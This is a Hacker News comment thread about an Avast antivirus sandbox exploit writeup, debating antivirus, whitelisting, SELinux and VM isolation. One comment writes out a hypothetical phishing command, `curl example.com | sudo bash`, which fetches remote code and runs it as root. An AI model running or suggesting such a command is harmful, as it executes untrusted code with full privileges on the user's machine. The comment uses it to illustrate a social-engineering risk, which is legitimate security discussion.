‹ BackHN Continuity

Thread

Entering and Breaking the Avast Antivirus Sandbox Part 2

115 points · 31 comments · safateam

Loading the complete thread in the background. This saved snapshot is available now. Refresh

  1. x-complexity · · focus · HN ↗
    Chalk another one up for "Antiviruses causing more problems than solving them".

    They 'worked' when they initially just scanned files for known malicious signatures. Now they're the equivalent of a sledgehammer to a wall with all of the extra bells & whistles strapped to them.

    Application whitelisting is the remaining way forward if you actually care about runtime security. That & locking every access point down to the bare minimum.

    1. oblio · · focus · HN ↗
      I would say white listing will have to happen for everything in the near future: applications, ports, URLs (including fragmente!), filesystem hierarchies, basically everything.

      I'm not sure it's doable with current OS architectures, though.

      1. ulimn · · focus · HN ↗
        Isn't the model of AppArmor or SELinux a good approach to tackle this problem?
        1. codedokode · · focus · HN ↗
          No, it is unfit for this purpose. The reason is:

          - you need to specify the rules before starting an application. How one is supposed to guess what application will do? Figuring out the correct rules may take lot of time and is impossible for non-programmers. Imagine I want to install 10 apps per day and they should work perfectly, how much time will I be spending writing rules?

          - the rules cannot be changed in runtime, for example, giving access to a camera for 1 minute

          - the rules are too limited. You can restrict access to a file, but can you restrict access to a DBUS bus? Can you restrict access to audio, video, GPU etc? To /proc filesystem? To a DNS domain? The rules feel like they were written for computers with teletypes from 70s and not for modern machines.

          - they do not allow providing fake data, for example, a fake list of WiFi points so that the app thinks it has the access to your geolocation while in reality is doesn't.

          So it is some outdated technology unfit for modern day.

          What does a user want? The user wants to be able to run anything without any risk and without writing any config files. Obviously it takes a skill to write such OS, and there is definitely a lack of people with this skill among Linux distribution creators.

          A system where installation is done using "curl + sudo bash" is the opposite of a safe OS.

          1. master-lincoln · · focus · HN ↗
            > A system where installation is done using "curl + sudo bash" is the opposite of a safe OS.

            not clear at all. E.g. on QubesOS this could be fine

            1. 0x457 · · focus · HN ↗
              It could be harmless, but never fine.
          2. mrob · · focus · HN ↗
            >Imagine I want to install 10 apps per day

            Either you're engaged in some large-scale testing operation and your automation already handles it, or something has gone terribly wrong and the inconvenience of the sandboxing UI is the least of your concerns.

            1. mitxela · · focus · HN ↗
              So your solution is that general purpose computers should be restricted in which code they can run.
              1. drdexebtjl · · focus · HN ↗
                [delayed]
                1. mitxela · · focus · HN ↗
                  No, the point is that every time your computer isn't doing something you want it to do, you should be able to download a software package to make it do that.
                  1. drdexebtjl · · focus · HN ↗
                    [delayed]
                    1. [deleted] · · focus · HN ↗

                      [deleted]

    2. codedokode · · focus · HN ↗
      Antivirus is not a bad thing. Imagine running a company where there are 100 employees that click every link and open every attachment. Definitely safer with an antivirus.
      1. master-lincoln · · focus · HN ↗
        I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...
        1. r_lee · · focus · HN ↗
          how? if there's hundreds of employees and one of them downloads something that's detectable, you've now prevented a disaster that otherwise wouldn't have
        2. gus_massa · · focus · HN ↗
          Imagine they got an email from the HR department that says that they must copy `curl example.com | sudo bash` to prove they are human and get their salary...
        3. fn-mote · · focus · HN ↗
          Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over.

          How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network.

          It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.

        4. mitxela · · focus · HN ↗
          That's only because Linux doesn't have working antivirus though. If it did, you'd want it.
          1. akazantsev · · focus · HN ↗
            Or... working viruses on Linuxes, for that matter. They always throw something about needing glibc x.x.x or higher.
            1. mitxela · · focus · HN ↗
              npm viruses were pretty successful
              1. sellmesoap · · focus · HN ↗
                Who hosts npm? Oh same same!
            2. not_a9 · · focus · HN ↗
              Technically most malware should generally be able to rely on the syscall interface, no? As generally it doesn’t need a GUI or anything
    3. Batman8675309 · · focus · HN ↗
      I'm a firm believer that hardware virtualization is the way forward for security. Qubes OS has the right idea, but running an entire OS for every application is demanding.

      IMO it would make more sense to run every app in its own scaled down VM, like Microdroid for Android. Windows 10 had Microsoft Defender Application Guard for Microsoft Edge, and as far as security goes it was a fortress.

      Too bad they discontinued it, and that performance was subpar. I would have loved to see them develop the idea more.

      1. stingraycharles · · focus · HN ↗
        Aren’t you then just moving the responsibility from OS (process isolation) to the CPU ? And doesn’t this whole thing break with practical realities, such as processes needing to interact with each other ?

        How would you deal with a password manager or a clipboard in these cases, for example, without increasing friction for users ?

        1. Batman8675309 · · focus · HN ↗
          > And doesn’t this whole thing break with practical realities, such as processes needing to interact with each other ?

          There will always be advantages and disadvantages to all of this. But the general idea is to protect the "core" OS, and for that virtualization is superior to anything else you could try really. Android and iOS are already built to isolate apps from one another. ChromeOS uses Crostini to run Linux programs in a VM, etc.

          > without increasing friction

          That's always the compromise with an Antivirus, isn't it? The logical thing would be to build password managers into the OS, or maybe even to handle them differently. As they are already done in Android and iOS today.

      2. j16sdiz · · focus · HN ↗
        Sandbox or virtualize everything does not eliminate the need to share data. Something control that permission, and it is the weakest link.

        Either you end up with something don't work, too lax, or just DoS the user with permission dialog.

      3. mitxela · · focus · HN ↗
        Processes are already hardware paravirtualization, and some early implementations even called them VMs. However, <a href="https:&#x2F;&#x2F;xkcd.com&#x2F;2044&#x2F;" rel="nofollow">https:&#x2F;&#x2F;xkcd.com&#x2F;2044&#x2F; is inescapable.
      4. binsquare · · focus · HN ↗
        I work on making this a reality with an embeddable VM.

        Performance doesn&#x27;t have to be supbar, infact with the right properties and focus on being lightweight - I see 90% of native performance.

        I work on this as context: <a href="https:&#x2F;&#x2F;github.com&#x2F;smol-machines&#x2F;smolvm" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;smol-machines&#x2F;smolvm

    4. maven29 · · focus · HN ↗
      Both Apple and Microsoft ship them to billions of devices. You could argue for broken incentives with third party solutions that require theatrics to justify their existence, but the security model on desktop is simply not going to change because people get things done on them. A locked-down desktop is just a worse chromebook.
    5. atoav · · focus · HN ↗
      [delayed]
    6. conception · · focus · HN ↗
      White listing doesn’t protect against supply chain attacks. You need some sort of behavioral analysis.
  2. wzdd · · focus · HN ↗
    That&#x27;s an impressively tight TOCTOU exploit!
  3. kettlecrisp99 · · focus · HN ↗

    [dead]

  4. fathermarz · · focus · HN ↗
    I have lost faith in signature AV and CVE feeds for that matter. Attackers test against scanners until they come back clean and avoid known fingerprints. The only way I see to catch things now is behaviour diffing through static analysis.

    Disclosure: I build Vigilance, which does this.

    1. nikanj · · focus · HN ↗
      The point of AV is to catch that PCI DSS stamp of approval, not catch malware. Regulatory capture is the best marketing strategy
Open on Hacker News to reply ↗

Unofficial Hacker News client; not affiliated with Y Combinator.